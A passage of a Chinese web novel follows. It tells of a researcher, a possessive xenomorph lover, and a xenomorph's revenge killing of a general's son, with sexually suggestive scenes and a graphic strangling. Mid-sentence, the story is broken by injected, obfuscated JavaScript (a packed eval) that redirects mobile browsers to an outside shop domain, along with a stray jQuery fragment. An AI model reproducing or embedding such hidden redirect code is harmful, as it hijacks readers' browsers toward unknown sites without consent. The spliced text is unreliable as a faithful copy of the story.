其他东西……
是玻尔吗?
异种缓缓贴住林桢的后背,人类的体型对于异种来说过于瘦弱。
他两条胳膊轻而易举地将林桢整个圈拢在怀里,然后那只青筋虬结、长度惊人的手按在林桢的腹部。
异种声音嘶哑。“这里有子宫吗?”
林桢微微难堪:“……没有。”
“生不了三个孩子,那能容纳我的性*吗。”
暴涨滚烫的抵在林桢的后腰,林桢头皮发麻:“我、我的手好了……”
异种却无师自通地塞进林桢两退之间,贴着退根的肉缓缓磨弄着,然后低下头颅,在林桢脖颈上轻轻蹭了一下。
下一刻,便张嘴咬住了林桢脖颈的侧边,他道:“不要再让我闻到你身上有其他杂种的气味。”
*
沉岸是一家专门接待富二代的酒吧,它坐落在商业街的后巷里,晚上十二点,周边的商铺都已经关门,还在大街上溜达的人也寥寥无几,杨淳和几个朋友醉醺醺地从酒吧里出来,几个人笑闹了好一阵子,才各自告别。
杨淳的车停在离酒吧稍远一点的位置,他摇摇晃晃地走过去,半途中看见一条狗正在墙角趴着,他一个快步过去,狠狠踢了狗一脚,然后指着狗鼻子骂:“垃圾,活着也是污染空气。”
瘦骨嶙峋的狗被他踢了一脚,发出呜呜惨叫声,夹着尾巴逃跑了,这极大地取悦了杨淳,他哼着歌,晃晃悠悠地走到自己的车跟前,拿出手机,准备叫个代驾,可手机不知道是坏了还是怎么了,一直拨不通,正好一个穿保安服的男人路过,他指了指对方。
“你过来,送我回家,我给你五百块钱。”
保安拉了拉帽檐:“我还要上班。”
“上班,你上一天班能挣五百块钱吗?少他妈废话。”
保安抬起头,声音微微古怪::“好,我送你。”
杨淳听他答应下来,嗤笑一声:“你们这种人,都是见钱眼开的东西。”
他命令保安帮自己打开车门,他坐进去后,便歪斜在座椅上昏昏欲睡过去,不知道过了多久,他睁开眼睛,发现车子根本没动。
他正要破口大骂时,一根冰冷黏腻的东西便前座蔓延过来,然后缠上了他的脖子,迅速绞紧,杨淳的脸慢慢变得乌紫,眼珠子几乎要爆出来。
断气之前,他看见驾驶位的保安摘下帽子,露出一张他熟悉的脸,是他一个舍友的爸爸……
秦尧开着车回到自己的家,这几年她跟着秦攸峙挣了不少钱,便豪掷千金买了一栋大别墅,虽然比不上秦攸峙的庄园,但也十分豪华了。
她打着方向盘,别墅大门识别到她的车辆,缓缓朝两边打开,秦尧正美滋滋地想一会儿是先泡个澡还是先吃点海鲜时候,车前头忽然咚地一声,似乎是撞到什么东西,秦尧赶紧下车去看。
一个穿保安服的男人狼狈地坐在地上。
秦尧看清他的脸后,脱口而出:“杜启松,你怎么穿成这个样子?”
杜启松笑了两声,然后道:“我把那个畜生给杀了。”
“你疯了!”秦尧脸色一变:“你先进屋,我给主人打个电话。”
秦尧看着杜启松失魂落魄的背影,拨通秦攸峙的电话:“哥,出事了……”
*
林桢站了两个小时,腿开始发软,他把手里的试剂放下,去了休息室。
休息室里面有一个浴室,林桢到浴室里面,把门关上,然后褪下裤子,轻轻地把自己大腿根部的肉往外扒。
原本白皙的地方,此刻变得糜红。
林桢脸发烫,抹了一些消肿止痛的药,然后穿好裤子,忍耐着裤子摩擦后涌起的刺痛,返回了岗位。
然而刚投入接下来的工作,刘佳走过来跟他说:“上校,所长找你。”
“说什么事情了吗?”
“没说,不过让你快点过去。”
林桢把手头的工作交给刘佳,匆匆走去高建民的办公室。
办公室里却坐着一身军装的陆泽成。
“陆大校?”
陆泽成:“是我让高建民把你叫过来的。”
“你找我什么事?”
陆泽成打开手机,划拉了几下,便把手机放到他跟前。
“看看这个新闻。”
林桢的视线落在手机屏幕上。
【中将儿子凌晨惨死街头,死法诡异,疑似未知生物出现。】
新闻标题下面配了一张图片,是在车里,一个大概十八九岁的青年歪倒在后车座上,他的脖子细到和胳膊一样,颈骨粉粹,舌头和眼珠子也都爆了出来,死法非常诡异骇人。
“我们做了尸检,在脖子上提取到了异种的DNA,然后又调了附近的监控,确认了凶手。”
陆泽成手指一划屏幕,屏幕上出现一个穿保安服的男人,四十多岁的模样,虽然已经发福,但眉眼不难看出英气。
林桢顿了顿:“为什么要来找我?”
“这个人叫杜启松,也是个异种,他原本在秦攸峙手下工作,和经常跟在秦攸峙身后的秦尧一样,是秦攸峙得力的助手,不过一年前,他忽然消失了,杀人是他这一年来,唯一一次露面。”
林桢看着他:“你觉得他杀人和秦攸峙有关系?”
陆泽成关掉手机屏幕,起身走到窗前:“如果他杀的只是一个普通人,我不会这么大动干戈地找你,但他杀的是扬中将唯一的儿子,现在军方已经接到通知,必须抓到这个异种。”
“有没有关系不重要,重要的是我们要抓到它,他现在消失地无影无踪,我需要你确认,杜启松有没有和秦攸峙联系过,以及,杜启松是不是被秦攸峙给藏了起来。”
林桢沉默了一会儿问:“按照你说的,杜启松曾经是秦攸峙的手下,也算是有身份的人,无论如何也沦落不了当保安的人,但他杀杨淳的时候,却是以保安的形象出现的,也就是说,他是蓄谋过的,杨淳死状那么凄惨,可以称得上虐杀了,为什么杜启松那么恨杨淳?他们之间的恩怨是什么?”
陆泽成捏了捏鼻梁:“这个我不清楚,也不用清楚,无论恩怨是什么,它杀了一个人类,造成了民众的恐慌,这两点就可以直接杀死它了”
林桢:“大校,我并不想为异种辩解什么,但我接手了很多异种,没有见过一个主动袭击人类的……”
陆泽成打断他:“玻尔最近还好吗?”
林桢一凛。
陆泽成:“林上校,军方一直想要把玻尔要走,培养成类似于军犬的东西,是我一直压着审批的文件。”
林桢垂下眼:“我知道了,我会留意的。”
大半天没见林桢的玻尔看见林桢踏进实验室,像个小狗一般朝林桢飞扑过去,不等林桢反应过来,便扑到林桢怀里。
林桢摸了摸它的头,然后不露痕迹地将它推开。
等要回去时候,林桢洗了个澡,喷了一些清新剂,才离开。
一个人没有工作的人不可能每天都出门,他告
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906775|213042||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
诉吴劲自己在一栋商业楼里上班,让他每天在商业楼外面等他。
这天他和往常一样,从研究所出来,从后门进到商业楼里面,再从大门出来,装作刚下班的样子,走到那辆熟悉的车前,今天的司机却不是吴劲,而是秦尧。
后座是……秦攸峙。
他似乎也是刚从公司回来,单穿一件衬衣,显得肩背宽阔,手臂的肌肉线条明显。
林桢上车后,他忽然箍住林桢的后脑勺,然后低下头,在他脖颈上嗅闻了一下,没闻到什么,才缓缓松开。
林桢庆幸自己洗了澡,打算坐好时,两腿撞在一起,碰到了破皮的地方,林桢轻轻吸了一口气。
察觉到什么,秦攸峙往他腿上看了一眼。
林桢耳根发热。
就在这时,车里忽然响起震动声音,是秦尧的手机,她看了一眼名字,挂断了,很快又不依不饶地打过来,秦尧有些犹豫地看了一眼林桢。
秦攸峙却冷冷道:“接。”
等接通后,林桢明白,秦尧为什么要犹豫了。
打电话的人是杜启松。
林桢装作不在意地看向窗外。
回到庄园,秦攸峙和秦尧便去了书房。
秦果准备洗点水果给端到书房,林桢和她一起。
把葡萄一颗一颗洗得晶莹剔透,林桢状似不经意地开口:“我听吴劲说,之前你们主人还有一个助理是吗?”
秦果哦了一声:“是杜叔。”
“那我怎么没见过他?”
“一年前他儿子……死了,所以就和主人辞职了。”
杜启松有个儿子?儿子也死了?
林桢试探地问了一句:“他儿子是出了什么意外吗?”
“不是。”
再问下去,恐怕会露馅,林桢看她把水果洗好了,便道:“我端上去吧。”
林桢端着水果,敲响了书房的门。
里面传来一声进,林桢推开门进去。
“我暂时给他找了个旅馆住着,等后天,就按照你说的让他坐轮船……”
秦尧发觉进来的不是秦果而是林桢,话音戛然而止,她笑了笑:“端茶倒水的事情让那两个小屁孩做就行了,林先生不必沾手。”
林桢看了一眼秦攸峙,秦攸峙双腿交叠,嘴里还咬着根烟,瞳仁黑漆漆的,也在看他。
林桢轻声:“我听秦果说,你喜欢吃葡萄……”
秦攸峙滚了滚喉结。
林桢把葡萄放下便出去了,秦尧道:“军方已经下令捉拿杜启松了,林桢作为军方的人,肯定知道这个消息,哥,接电话你不让背着他,刚才还不让背着他,你未免太相信他了吧?”
秦攸峙抬起眼皮:“告诉杜启松这个蠢货,明天我要见他。”
估计杜启松少不了挨耳光,秦尧害怕殃及自己,不敢再多说一句废话。
秦攸峙坐在书房里,把盘子里晶莹剔透地葡萄一颗一颗吃完才回卧室。
卧室里,就快进入睡眠的林桢,腹部忽然一重,接着,他被捞进一个宽阔有力的怀里。
异种把他整个人都牢牢地圈拢住,脑袋蹭了一下他的脖颈,然后便扒掉了他的裤子……
林桢脸一热,轻轻挣扎起来。
异种的手伸进他的两退之间,粗糙的掌心摩挲着内侧的嫩肉。
刺痛的地方被这样抚摸,林桢的脊骨都麻酥起来。
异种轻轻皱眉道:“破皮了。”
“我太用力了吗?”